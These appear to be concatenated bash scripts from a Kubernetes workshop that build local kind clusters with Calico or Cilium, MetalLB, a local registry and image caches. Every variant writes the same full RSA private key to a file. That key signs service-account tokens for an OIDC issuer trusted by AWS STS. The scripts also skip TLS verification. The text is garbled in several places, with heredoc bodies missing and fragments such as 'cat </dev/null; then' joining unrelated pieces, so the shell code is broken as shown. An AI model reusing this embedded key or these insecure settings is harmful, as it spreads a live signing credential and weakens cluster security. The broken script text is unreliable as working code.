+395nvxdly83SUrdh7ItfOPRluuuiPHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0Zw +zIM9OviX8iEF8xHWUtz4BAMDG8N6+zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm +5X5uOKsCHMtNSjqYUNB1DxN6xxM+odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD8 +2p/16KQKU6TkZSrldkYxiHIPhu+5f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9 +ywIDAQAB +-----END PUBLIC KEY----- +EOF + +cat <<'EOF' >./oidc/sa-signer.key +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA53YiBcrn7+ZK0Vb4odeA1riYdvEb8To4H6/HtF+OKzuCIXFQ ++bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL395nvxdly83SUrdh7ItfOPRluuui +PHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0ZwzIM9OviX8iEF8xHWUtz4BAMDG8N6 ++zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm5X5uOKsCHMtNSjqYUNB1DxN6xxM+ +odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD82p/16KQKU6TkZSrldkYxiHIPhu+5 +f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9ywIDAQABAoIBAB8tro+RMYUDRHjG +el9ypAxIeWEsQVNRQFYkW4ZUiNYSAgl3Ni0svX6xAg989peFVL+9pLVIcfDthJxY +FVlNCjBxyQ/YmwHFC9vQkARJEd6eLUXsj8INtS0ubbp1VxCQRDDL0C/0z7OSoJJh +SwboqjEiTJExA2a+RArmEDTBRzdi3t+kT8G23JcqOivrITt17K6bQYyJXw7/vUdc +r/R+hfd5TqVq92VddzDT7RNJAxsbPPXjGnESlq1GALBDs+uBGYsP0fiEJb2nicSv +z9fBnBeERhut1gcE0C0iLRQZb+3r8TitBtxrZv+0BHgXrkKtXDwWTqGEKOwC4dBn +7nxkH2ECgYEA6+/DOTABGYOWOQftFkJMjcugzDrjoGpuXuVOTb65T+3FHAzU93zy +3bt3wQxrlugluyy9Sc/PL3ck2LgUsPHZ+s7zsdGvvGALBD6bOSSKATz9JgjwifO8 +PgqUz1kXRwez2CtKLOOCFFtcIzEdWIzsa1ubNqLzgN7rD+XBkUc2uEcCgYEA+yTy +72EDMQVoIZOygytHsDNdy0iS2RsBbdurT27wkYuFpFUVWdbNSL+8haE+wJHseHcw +BD4WIMpU+hnS4p4OO8+6V7PiXOS5E/se91EJigZAoixgDUiC8ihojWgK9PYEavUo +hULWbayO59SxYWeUI4Ze0GP8Jw8vdB86ib4ulF0CgYEAgyzRuLjk05+iZODwQyDn +WSquov3W0rh51s7cw0LX2wWSQm8r9NGGYhs5kJ5sLwGxAKj2MNSWF4jBdrCZ6Gr+ +y4BGY0X209/+IAUC3jlfdSLIiF4OBlT6AvB1HfclhvtUVUp0OhLfnpvQ1UwYScRI +KcRLvovIoIzP2g3emfwjAz8CgYEAxUHhOhm1mwRHJNBQTuxok0HVMrze8n1eov39 +0RcvBvJSVp+pdHXdqX1HwqHCmxhCZuAeq8ZkNP8WvZYY6HwCbAIdt5MHgbT4lXQR +f2l8F5gPnhFCpExG5ZLNg/urV3oAQE4stHap21zEpdyOMhZb6Yc5424U+EzaFdgN +b3EcPtUCgYAkKvUlSnBbgiJz1iaN6fuTqH0efavuFGMhjNmG7GtpNXdgyl1OWIuc +Yu+tZtHXtKYf3B99GwPrFzw/7yfDwae5YeWmi2/pFTH96wv3brJBqkAWY8G5Rsmd +qF50p34vIFqUBniNRwSArx8t2dq/CuAMgLAtSjh70Q6ZAnCF85PD8Q== +-----END RSA PRIVATE KEY----- +EOF + +cat << EOF > kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} + extraMounts: + - containerPath: /etc/kubernetes/oidc + hostPath: /${PWD}/oidc +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: ClusterConfiguration + apiServer: + extraArgs: + service-account-key-file: /etc/kubernetes/pki/sa.pub + service-account-key-file: /etc/kubernetes/oidc/sa-signer-pkcs8.pub + service-account-signing-key-file: /etc/kubernetes/oidc/sa-signer.key + service-account-issuer: https://solo-workshop-oidc.s3.us-east-1.amazonaws.com + api-audiences: sts.amazonaws.com + extraVolumes: + - name: oidc + hostPath: /etc/kubernetes/oidc + mountPath: /etc/kubernetes/oidc + readOnly: true + metadata: + name: config +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml <./oidc/sa-signer-pkcs8.pub +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA53YiBcrn7+ZK0Vb4odeA +1riYdvEb8To4H6/HtF+OKzuCIXFQ+bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL +395nvxdly83SUrdh7ItfOPRluuuiPHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0Zw +zIM9OviX8iEF8xHWUtz4BAMDG8N6+zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm +5X5uOKsCHMtNSjqYUNB1DxN6xxM+odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD8 +2p/16KQKU6TkZSrldkYxiHIPhu+5f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9 +ywIDAQAB +-----END PUBLIC KEY----- +EOF +cat <<'EOF' >./oidc/sa-signer.key +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA53YiBcrn7+ZK0Vb4odeA1riYdvEb8To4H6/HtF+OKzuCIXFQ ++bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL395nvxdly83SUrdh7ItfOPRluuui +PHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0ZwzIM9OviX8iEF8xHWUtz4BAMDG8N6 ++zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm5X5uOKsCHMtNSjqYUNB1DxN6xxM+ +odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD82p/16KQKU6TkZSrldkYxiHIPhu+5 +f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9ywIDAQABAoIBAB8tro+RMYUDRHjG +el9ypAxIeWEsQVNRQFYkW4ZUiNYSAgl3Ni0svX6xAg989peFVL+9pLVIcfDthJxY +FVlNCjBxyQ/YmwHFC9vQkARJEd6eLUXsj8INtS0ubbp1VxCQRDDL0C/0z7OSoJJh +SwboqjEiTJExA2a+RArmEDTBRzdi3t+kT8G23JcqOivrITt17K6bQYyJXw7/vUdc +r/R+hfd5TqVq92VddzDT7RNJAxsbPPXjGnESlq1GALBDs+uBGYsP0fiEJb2nicSv +z9fBnBeERhut1gcE0C0iLRQZb+3r8TitBtxrZv+0BHgXrkKtXDwWTqGEKOwC4dBn +7nxkH2ECgYEA6+/DOTABGYOWOQftFkJMjcugzDrjoGpuXuVOTb65T+3FHAzU93zy +3bt3wQxrlugluyy9Sc/PL3ck2LgUsPHZ+s7zsdGvvGALBD6bOSSKATz9JgjwifO8 +PgqUz1kXRwez2CtKLOOCFFtcIzEdWIzsa1ubNqLzgN7rD+XBkUc2uEcCgYEA+yTy +72EDMQVoIZOygytHsDNdy0iS2RsBbdurT27wkYuFpFUVWdbNSL+8haE+wJHseHcw +BD4WIMpU+hnS4p4OO8+6V7PiXOS5E/se91EJigZAoixgDUiC8ihojWgK9PYEavUo +hULWbayO59SxYWeUI4Ze0GP8Jw8vdB86ib4ulF0CgYEAgyzRuLjk05+iZODwQyDn +WSquov3W0rh51s7cw0LX2wWSQm8r9NGGYhs5kJ5sLwGxAKj2MNSWF4jBdrCZ6Gr+ +y4BGY0X209/+IAUC3jlfdSLIiF4OBlT6AvB1HfclhvtUVUp0OhLfnpvQ1UwYScRI +KcRLvovIoIzP2g3emfwjAz8CgYEAxUHhOhm1mwRHJNBQTuxok0HVMrze8n1eov39 +0RcvBvJSVp+pdHXdqX1HwqHCmxhCZuAeq8ZkNP8WvZYY6HwCbAIdt5MHgbT4lXQR +f2l8F5gPnhFCpExG5ZLNg/urV3oAQE4stHap21zEpdyOMhZb6Yc5424U+EzaFdgN +b3EcPtUCgYAkKvUlSnBbgiJz1iaN6fuTqH0efavuFGMhjNmG7GtpNXdgyl1OWIuc +Yu+tZtHXtKYf3B99GwPrFzw/7yfDwae5YeWmi2/pFTH96wv3brJBqkAWY8G5Rsmd +qF50p34vIFqUBniNRwSArx8t2dq/CuAMgLAtSjh70Q6ZAnCF85PD8Q== +-----END RSA PRIVATE KEY----- +EOF +cat << EOF > kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} + extraMounts: + - containerPath: /etc/kubernetes/oidc + hostPath: /${PWD}/oidc +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: ClusterConfiguration + apiServer: + extraArgs: + service-account-key-file: /etc/kubernetes/pki/sa.pub + service-account-key-file: /etc/kubernetes/oidc/sa-signer-pkcs8.pub + service-account-signing-key-file: /etc/kubernetes/oidc/sa-signer.key + service-account-issuer: https://solo-workshop-oidc.s3.us-east-1.amazonaws.com + api-audiences: sts.amazonaws.com + extraVolumes: + - name: oidc + hostPath: /etc/kubernetes/oidc + mountPath: /etc/kubernetes/oidc + readOnly: true + metadata: + name: config +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +helm repo add cilium https://helm.cilium.io/ + +helm --kube-context kind-kind${number} install cilium cilium/cilium --version 1.12.0 \ + --namespace kube-system \ + --set prometheus.enabled=true \ + --set operator.prometheus.enabled=true \ + --set hubble.enabled=true \ + --set hubble.metrics.enabled="{dns:destinationContext=pod|ip;sourceContext=pod|ip,drop:destinationContext=pod|ip;sourceContext=pod|ip,tcp:destinationContext=pod|ip;sourceContext=pod|ip,flow:destinationContext=pod|ip;sourceContext=pod|ip,port-distribution:destinationContext=pod|ip;sourceContext=pod|ip}" \ + --set hubble.relay.enabled=true \ + --set hubble.ui.enabled=true \ + --set kubeProxyReplacement=partial \ + --set hostServices.enabled=false \ + --set hostServices.protocols="tcp" \ + --set externalIPs.enabled=true \ + --set nodePort.enabled=true \ + --set hostPort.enabled=true \ + --set bpf.masquerade=false \ + --set image.pullPolicy=IfNotPresent \ + --set ipam.mode=kubernetes +kubectl --context=kind-kind${number} -n kube-system rollout status ds cilium || true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml <./oidc/sa-signer-pkcs8.pub +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA53YiBcrn7+ZK0Vb4odeA +1riYdvEb8To4H6/HtF+OKzuCIXFQ+bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL +395nvxdly83SUrdh7ItfOPRluuuiPHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0Zw +zIM9OviX8iEF8xHWUtz4BAMDG8N6+zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm +5X5uOKsCHMtNSjqYUNB1DxN6xxM+odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD8 +2p/16KQKU6TkZSrldkYxiHIPhu+5f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9 +ywIDAQAB +-----END PUBLIC KEY----- +EOF + +cat <<'EOF' >./oidc/sa-signer.key +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA53YiBcrn7+ZK0Vb4odeA1riYdvEb8To4H6/HtF+OKzuCIXFQ ++bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL395nvxdly83SUrdh7ItfOPRluuui +PHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0ZwzIM9OviX8iEF8xHWUtz4BAMDG8N6 ++zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm5X5uOKsCHMtNSjqYUNB1DxN6xxM+ +odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD82p/16KQKU6TkZSrldkYxiHIPhu+5 +f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9ywIDAQABAoIBAB8tro+RMYUDRHjG +el9ypAxIeWEsQVNRQFYkW4ZUiNYSAgl3Ni0svX6xAg989peFVL+9pLVIcfDthJxY +FVlNCjBxyQ/YmwHFC9vQkARJEd6eLUXsj8INtS0ubbp1VxCQRDDL0C/0z7OSoJJh +SwboqjEiTJExA2a+RArmEDTBRzdi3t+kT8G23JcqOivrITt17K6bQYyJXw7/vUdc +r/R+hfd5TqVq92VddzDT7RNJAxsbPPXjGnESlq1GALBDs+uBGYsP0fiEJb2nicSv +z9fBnBeERhut1gcE0C0iLRQZb+3r8TitBtxrZv+0BHgXrkKtXDwWTqGEKOwC4dBn +7nxkH2ECgYEA6+/DOTABGYOWOQftFkJMjcugzDrjoGpuXuVOTb65T+3FHAzU93zy +3bt3wQxrlugluyy9Sc/PL3ck2LgUsPHZ+s7zsdGvvGALBD6bOSSKATz9JgjwifO8 +PgqUz1kXRwez2CtKLOOCFFtcIzEdWIzsa1ubNqLzgN7rD+XBkUc2uEcCgYEA+yTy +72EDMQVoIZOygytHsDNdy0iS2RsBbdurT27wkYuFpFUVWdbNSL+8haE+wJHseHcw +BD4WIMpU+hnS4p4OO8+6V7PiXOS5E/se91EJigZAoixgDUiC8ihojWgK9PYEavUo +hULWbayO59SxYWeUI4Ze0GP8Jw8vdB86ib4ulF0CgYEAgyzRuLjk05+iZODwQyDn +WSquov3W0rh51s7cw0LX2wWSQm8r9NGGYhs5kJ5sLwGxAKj2MNSWF4jBdrCZ6Gr+ +y4BGY0X209/+IAUC3jlfdSLIiF4OBlT6AvB1HfclhvtUVUp0OhLfnpvQ1UwYScRI +KcRLvovIoIzP2g3emfwjAz8CgYEAxUHhOhm1mwRHJNBQTuxok0HVMrze8n1eov39 +0RcvBvJSVp+pdHXdqX1HwqHCmxhCZuAeq8ZkNP8WvZYY6HwCbAIdt5MHgbT4lXQR +f2l8F5gPnhFCpExG5ZLNg/urV3oAQE4stHap21zEpdyOMhZb6Yc5424U+EzaFdgN +b3EcPtUCgYAkKvUlSnBbgiJz1iaN6fuTqH0efavuFGMhjNmG7GtpNXdgyl1OWIuc +Yu+tZtHXtKYf3B99GwPrFzw/7yfDwae5YeWmi2/pFTH96wv3brJBqkAWY8G5Rsmd +qF50p34vIFqUBniNRwSArx8t2dq/CuAMgLAtSjh70Q6ZAnCF85PD8Q== +-----END RSA PRIVATE KEY----- +EOF + +cat << EOF > kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} + extraMounts: + - containerPath: /etc/kubernetes/oidc + hostPath: /${PWD}/oidc +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: ClusterConfiguration + apiServer: + extraArgs: + service-account-key-file: /etc/kubernetes/pki/sa.pub + service-account-key-file: /etc/kubernetes/oidc/sa-signer-pkcs8.pub + service-account-signing-key-file: /etc/kubernetes/oidc/sa-signer.key + service-account-issuer: https://solo-workshop-oidc.s3.us-east-1.amazonaws.com + api-audiences: sts.amazonaws.com + extraVolumes: + - name: oidc + hostPath: /etc/kubernetes/oidc + mountPath: /etc/kubernetes/oidc + readOnly: true + metadata: + name: config +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + ipFamily: ipv6 +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].GlobalIPv6Address') +networkkind=$(echo ${ipkind} | rev | cut -d: -f2- | rev): + +#kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}${number}1-${networkkind}${number}9 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + 